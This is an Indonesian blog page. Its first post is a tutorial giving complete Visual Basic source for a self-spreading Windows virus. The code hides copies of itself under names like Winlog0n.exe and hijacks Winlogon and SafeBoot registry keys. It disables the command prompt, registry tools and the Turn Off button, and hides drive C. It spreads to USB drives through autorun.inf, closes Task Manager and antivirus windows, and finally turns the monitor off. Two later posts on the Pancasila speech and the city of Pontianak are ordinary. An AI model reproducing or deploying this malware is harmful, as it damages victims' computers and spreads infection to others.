Selasa, 16 Oktober 2012

1 MEMBUAT VIRUS YANG MEMATIKAN MONITOR

Virus adalah sebuah program yang berfungsi atau dibuat untuk merusak komputer. tetapi disini saya hanya mengajari bagaimana cara membuat program perusak tersebut. tapi ini jangan dijadikan senjata untuk merusak komputer orang lain, hanya untuk mempelajari bagaimana cara kerja virus dan cara dia menyearkan diri sehingga kita bisa untuk mengantisipasinya.
1. Buat sebuah project dengan standart EXE
2. masukan sebuah Timer dan sebuah Label kedalam project tersebut.
3. Ketikan listing program dibawah ini. untuk memudahkan anda, anda bisa mengcopynya langsung kedalam project yang andah buat tadi.
Listing Programnuya sebagai berikut:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Const SC_MONITORPOWER = &HF170&
Const MONITOR_ON = -1&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Const WM_CLOSE = &H10

Option Explicit
Dim FWnd
Dim i As Integer
Dim RegRun
Dim FolderMyDocuments
Dim FolderFavorites
Dim FolderWindows
Dim FlashDisk
Dim Ttd, Td, Thd, D As Integer

Private Sub aktif()
On Error Resume Next
Randomize
Me.Caption = Int(Rnd * 2221189331445#)
GandakefolderIstimewa
InfeksiRegistry
MsgBox "Hy adek sanak, aQ datang untuk kalian segalonyo, terimo kasih y lah ndx bekawan" & vbCrLf & "Dalam 30 Detik Monitor kw mati", "Salam Kenal"
End Sub
Sub InfeksiRegistry()
‘Membuat pertahanan dan penginfeksian virus
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\Winlog0n.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderWindows & "\Winlgo0n1.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\Winlgo0nn.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\cssz.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus cssz.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\advanced\Start_ShowControlPanel", 0, "REG_DWORD"
End Sub
Sub GandaKeFlashDisk()
‘menyebarkan virus ke flasdisk pada saat flasdisk tercolok ke komputer
On Error Resume Next
If Dir(FlashDisk & "\Winlog0n.exe") <> "Winlog0n.exe" Then 'mengecek ada atau tdknya Winlog0n.exe di flashdisk jika tdk ada kemudian
FileCopy FolderMyDocuments & "\Winlog0n.exe", FlashDisk & "\Winlog0n.exe"
SetAttr FlashDisk & "\Winlog0n.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "ACtIon=Open folder to view files"
Print #1, "Icon=Winlog0n.exe"
Print #1, "Open=Winlog0n.exe"
Print #1, "Open=Winlgo0nn.exe"
Print #1, "ShellExecute=Winlog0n.exe"
Print #1, "ShellExecute=Winlgo0nn.exe"
Print #1, "Shell\Open\Command=Winlog0n.exe"
Print #1, "sheLl\oPen\DefAulT=1"
Print #1, "shELl\opeN\cOmManD= Winlog0n.exe"
Print #1, "Shell=Open"
Print #1, "shell\ExplorE\COMmANd=Winlgo0nn.exe"
Print #1, "uSEAuToPLaY = 1"
Print #1, "SHell\autopLAy\commAND=Winlog0n.exe"
Print #1, "SHell\autopLAy\commAND=Winlgo0nn.exe"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
Set RegRun = CreateObject("WScript.Shell")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderWindows = RegRun.specialfolder("Windows")
'membuat virus dengan nama hay.exe
On Error Resume Next
'membuat virus dengan nama Winlog0n.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\Winlog0n.exe"
SetAttr FolderMyDocuments & "\Winlog0n.exe", vbHidden + vbSystem + vbReadOnly
'membuat file Winlgo0nn.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\Winlgo0nn.Exe"
SetAttr FolderFavorites & "\Winlgo0nn.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Winlgo0n1.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderWindows & "\Winlgo0n1.Exe"
SetAttr FolderWindows & "\Winlgo0n1.exe", vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Tutup()
‘menutup aplikasi yang membahayakan virus
On Error Resume Next
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal - Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
InfeksiRegistry
End Sub
Private Sub mati()
‘mematikan monitor pengguna
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
End Sub
Private Sub Form_Load()
GandakefolderIstimewa
InfeksiRegistry
GandaKeFlashDisk
Tutup
aktif
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Timer1_Timer()
Tutup
Ttd = Ttd + 1
Thd = Ttd Mod 60
Td = Int(Ttd / 60)
D = Td Mod 60
Label1.Caption = D
If D = 30 Then
Me.Visible = False
mati
End If
End Sub
Virus siap dijalankan. eit……hati-hati karena virus ini cukup berbahaya, karena monitor tidak berfungsi untuk menampilkan data(Alias monitor dalam keadaan layar hitam)
Ini hanya sekedar pelajaran, jangan disalahgunakan.
semoga bermanfaat………

0 Lahirnya Pancasila

Lahirnya Pancasila adalah judul pidato yang disampaikan oleh Soekarno dalam sidang Dokuritsu Junbi Cosakai (bahasa Indonesia: "Badan Penyelidik Usaha Persiapan Kemerdekaan") pada tanggal 1 Juni 1945. Dalam pidato inilah konsep dan rumusan awal "Pancasila" pertama kali dikemukakan oleh Soekarno sebagai dasar negara Indonesia merdeka. Pidato ini pada awalnya disampaikan oleh Soekarno secara aklamasi tanpa judul dan baru mendapat sebutan "Lahirnya Pancasila" oleh mantan Ketua BPUPK Dr. Radjiman Wedyodiningrat dalam kata pengantar buku yang berisi pidato yang kemudian dibukukan oleh BPUPK tersebut.

Latar belakang


Gedung Chuo Sangi In di Jakarta yang digunakan sebagai gedung Volksraad di tahun 1925.
Menjelang kekalahan Tentara Kekaisaran Jepang di akhir Perang Pasifik, tentara pendudukan Jepang di Indonesia berusaha menarik dukungan rakyat Indonesia dengan membentuk Dokuritsu Junbi Cosakai (bahasa Indonesia: "Badan Penyelidik Usaha Persiapan Kemerdekaan" atau BPUPK, yang kemudian menjadi BPUPKI, dengan tambahan "Indonesia").
Badan ini mengadakan sidangnya yang pertama dari tanggal 29 Mei (yang nantinya selesai tanggal 1 Juni 1945).Rapat dibuka pada tanggal 28 Mei 1945 dan pembahasan dimulai keesokan harinya 29 Mei 1945 dengan tema dasar negara. Rapat pertama ini diadakan di gedung Chuo Sangi In di Jalan Pejambon 6 Jakarta yang kini dikenal dengan sebutan Gedung Pancasila. Pada zaman Belanda, gedung tersebut merupakan gedung Volksraad (bahasa Indonesia: "Perwakilan Rakyat").
Setelah beberapa hari tidak mendapat titik terang, pada tanggal 1 Juni 1945, Bung Karno mendapat giliran untuk menyampaikan gagasannya tentang dasar negara Indonesia merdeka, yang dinamakannya "Pancasila". Pidato yang tidak dipersiapkan secara tertulis terlebih dahulu itu diterima secara aklamasi oleh segenap anggota Dokuritsu Junbi Cosakai.
Selanjutnya Dokuritsu Junbi Cosakai membentuk Panitia Kecil untuk merumuskan dan menyusun Undang-Undang Dasar dengan berpedoman pada pidato Bung Karno tersebut. Dibentuklah Panitia Sembilan (terdiri dari Ir. Soekarno, Mohammad Hatta, Mr. AA Maramis, Abikoesno Tjokrosoejoso, Abdul Kahar Muzakir, Agus Salim, Achmad Soebardjo, Wahid Hasjim, dan Mohammad Yamin) yang ditugaskan untuk merumuskan kembali Pancasila sebagai Dasar Negara berdasar pidato yang diucapkan Bung Karno pada tanggal 1 Juni 1945, dan menjadikan dokumen tersebut sebagai teks untuk memproklamasikan kemerdekaan Indonesia.
Seltelah melalui proses persidangan dan lobi-lobi akhirnya rumusan Pancasila hasil penggalian Bung Karno tersebut berhasil dirumuskan untuk dicantumkan dalam Mukadimah Undang-Undang Dasar 1945, yang disahkan dan dinyatakan sah sebagai dasar negara Indonesia merdeka pada tanggal 18 Agustus 1945 oleh BPUPKI. [1]
Dalam kata pengantar atas dibukukannya pidato tersebut, yang untuk pertama kali terbit pada tahun 1947, mantan Ketua BPUPK Dr. Radjiman Wedyodiningrat menyebut pidato Ir. Soekarno itu berisi “Lahirnya Pancasila”.
”Bila kita pelajari dan selidiki sungguh-sungguh “Lahirnya Pancasila” ini, akan ternyata bahwa ini adalah suatu Demokratisch Beginsel, suatu Beginsel yang menjadi dasar Negara kita, yang menjadi Rechtsideologie Negara kita; suatu Beginsel yang telah meresap dan berurat-berakar dalam jiwa Bung Karno, dan yang telah keluar dari jiwanya secara spontan, meskipun sidang ada dibawah penilikan yang keras dari Pemerintah Balatentara Jepang. Memang jiwa yang berhasrat merdeka, tak mungkin dikekang-kekang! Selama Fascisme Jepang berkuasa dinegeri kita, Demokratisch Idee tersebut tak pernah dilepaskan oleh Bung Karno, selalu dipegangnya teguh-teguh dan senantiasa dicarikannya jalan untuk mewujudkannya. Mudah-mudahan ”Lahirnya Pancasila” ini dapat dijadikan pedoman oleh nusa dan bangsa kita seluruhnya dalam usaha memperjuangkan dan menyempurnakan Kemerdekaan Negara.”

0 Kota Pontianak

Kota Pontianak adalah ibu kota Provinsi Kalimantan Barat di Indonesia. Kota ini dikenal sebagai Kota Khatulistiwa karena dilalui garis lintang nol derajat bumi. Di utara kota ini, tepatnya Siantan, terdapat Tugu Khatulistiwa yang dibangun pada tempat yang dilalui garis lintang nol derajat bumi. Selain itu, Kota Pontianak juga dilalui Sungai Kapuas, sungai terpanjang di Indonesia dan Sungai Landak. Sungai Kapuas dan Sungai Landak yang membelah kota disimbolkan di dalam logo Kota Pontianak. Nama Pontianak yang berasal dari Bahasa Melayu ini dipercaya ada kaitannya dengan kisah Syarif Abdurrahman yang sering diganggu oleh hantu Kuntilanak ketika beliau menyusuri Sungai Kapuas. Menurut ceritanya, Syarif Abdurrahman terpaksa melepaskan tembakan meriam untuk mengusir hantu itu sekaligus menandakan di mana meriam itu jatuh, maka di sanalah wilayah kesultanannya didirikan. Peluru meriam itu jatuh di dekat persimpang Sungai Kapuas dan Sungai Landak, yang kini dikenal dengan nama Kampung Beting.
Berdasarkan sensus penduduk tahun 2000, penduduk Kota Pontianak berjumlah 554.764 jiwa, terdiri dari 277.971 (50,1%) laki-laki dan 276.793 (49,9%) perempuan.[11]
Suku bangsa penduduk Kota Pontianak terdiri dari Cina (31,2%), Melayu (26,1%), Bugis (13,1%), Jawa (11,7%), Madura (6,4%), Dayak, dan lainnya.[3]
Sebagian besar penduduk memeluk agama Islam (75,4%), sisanya memeluk agama Buddha (12%), Katolik (6,1%), Protestan (5%), Konghucu (1,3%), Hindu (0,1%), dan lainnya (0,1%).[2]
Hampir seluruh penduduk Kota Pontianak memahami dan menggunakan Bahasa Indonesia dalam berkomunikasi. Namun bahasa ibu masing-masing juga umum digunakan, antara lain Bahasa Melayu Pontianak, Bahasa Tiociu, Bahasa Khek, dan bahasa daerah lainnya.